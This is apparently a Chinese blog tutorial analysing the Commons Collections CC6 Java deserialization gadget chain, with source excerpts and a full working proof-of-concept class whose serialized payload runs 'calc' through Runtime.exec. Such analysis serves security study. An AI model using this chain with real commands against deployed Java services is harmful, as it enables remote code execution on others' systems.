目录
(一)利用链
(二)代码分析
0x01 TiedMapEntry
0x02 HashMap
(三)POC:
先来看 ysoserial 中的利用链:
/*Gadget chain:java.io.ObjectInputStream.readObject()java.util.HashSet.readObject()java.util.HashMap.put()java.util.HashMap.hash()org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()org.apache.commons.collections.map.LazyMap.get()org.apache.commons.collections.functors.ChainedTransformer.transform()org.apache.commons.collections.functors.InvokerTransformer.transform()java.lang.reflect.Method.invoke()java.lang.Runtime.exec()by @matthias_kaiser
*/
CommonsCollections1利用链分析_jinyouxin的博客-CSDN博客
可以看到,CC6链从LazyMap类开始的后半部分和CC1链是相同的,只是前面没有使用AnnotationInvocationHandler类
readObject()的作为反序列化的入口了,从而解决了在java 8u71 版本之后无法使用CC1链的问题。CC6链的前半部分和URLDNS链比较像,都是利用了HashMap类在计算hash值时调用key.hashCode()的方式,进入到TiedMapEntry.getValue()方法,再到LazyMap.get()的。

从上面的调用链我们不难分析出,cc6链和cc1链在ChainedTransform中的 x.transform()的调用出现了不一致,在LazyMap.get()中正好触发了此方法,
首先我们从
LazyMap.get()这里开始向上找,希望找到一个调用了Map.get()方法的函数,这里的Map需要可控。我们找到的类是org.apache.commons.collections.keyvalue.TiedMapEntry,在其getValue()⽅法中调⽤了this.map.get(),⽽其hashCode()⽅法调⽤了getValue()⽅法:
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {private static final long serialVersionUID = -8453869361373831205L;private final Map map;private final Object key;public TiedMapEntry(Map map, Object key) {super();this.map = map;this.key = key;}// ...public Object getValue() {return map.get(key);}// ...public int hashCode() {Object value = getValue();return (getKey() == null ? 0 : getKey().hashCode()) ^(value == null ? 0 : value.hashCode()); }// ...
}
所以我们需要接着找能够调用
TiedMapEntry.hashCode()的方法,这时候就想起上午刚总结的URLDNS链是通过HashMap在反序列化时候其readObject()函数会循环每一个键值对放入到HashMap中,而在放入每一个键值对的时候会计算key(hash)值,触发key.hashCode()方法:
URLDNS利用链分析_jinyouxin的博客-CSDN博客
private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// ...// Read the keys and values, and put the mappings in the HashMapfor (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject();putVal(hash(key), key, value, false, false);}}
}
这里跟进12行的hash(key)值:
static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
可以看到第三行
key不为空的时候就会去调用用key.hashCode(),这时候我们只需要把key设置为构造好的 TiedMapEntry 对象就可以实现任意代码执行了。
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[] { String.class, Class[].class },new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke",new Class[] { Object.class, Object[].class },new Object[]{ null, new Object[0]} ),new InvokerTransformer("exec",new Class[] { String.class },new String[] { "calc" }),new ConstantTransformer(1),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformerChain);TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");Map expMap = new HashMap();expMap.put(tme, "valuevalue");
注意由于hashMap在序列化的时候就会自动触发hashCode,所以我们要通过反射机制进行处理,如下代码:
// 将真正的transformers数组设置进来
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain,transformers);
但是此时测试就会发现,反序列化的时候并不会触发这条链,这是怎么回事呢?这里还是跟24行的
expMap.put(tme, "valuevalue")有关。我们先来调试一下,在expMap.put(tme, "valuevalue");打下断点:

expMap.put(tme, "valuevalue") ==> TiedMapEntry.hashCode() ==> TiedMapEntry.getValue() ==> LazyMap.get(key);

到了
LazyMap.get(key);这一步的时候,这里有一个判断,我们传入的map,也就是上面的innerMap中是否有这个key存在,此时这个innerMap里面啥都没放呢,那肯定是没有的,因此就会进入到循环中:先触发一次factory.transform(key),这里的factory也就是构造LazyMap时候传入的Transformer,从而先触发一次利用链,这里就是上面使用fakeTransformer 的根源;然后再到map.put(key,value),这里会把我们传入的key(示例的值是keykey)放到innerMap中,导致了反序列化再碰到这个if判断的时候会判断这个map里面是有这个key存在的,因此就不会执行到里面的factory.transform(key),进而无法触发利用链。
/*Gadget chain:java.io.ObjectInputStream.readObject()java.util.HashMap.readObject()java.util.HashMap.hash()org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()org.apache.commons.collections.map.LazyMap.get()org.apache.commons.collections.functors.ChainedTransformer.transform()org.apache.commons.collections.functors.InvokerTransformer.transform()java.lang.reflect.Method.invoke()java.lang.Runtime.exec()
*/import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CC6 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[] { String.class, Class[].class },new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke",new Class[] { Object.class, Object[].class },new Object[]{ null, new Object[0]} ),new InvokerTransformer("exec",new Class[] { String.class },new String[] { "calc" }),new ConstantTransformer(1),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformerChain);TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");Map expMap = new HashMap();expMap.put(tme, "valuevalue");innerMap.remove("keykey");
// System.out.println(outerMap.isEmpty());// ==============// 将真正的transformers数组设置进来Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain,transformers);// ==============// 生成序列化字符串ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oss = new ObjectOutputStream(barr);oss.writeObject(expMap);oss.close();// 本地测试触发System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object) ois.readObject();}
}
利用过程在原理部分和代码分析部分分别简略和详细地分析了一遍,这里不再赘述了。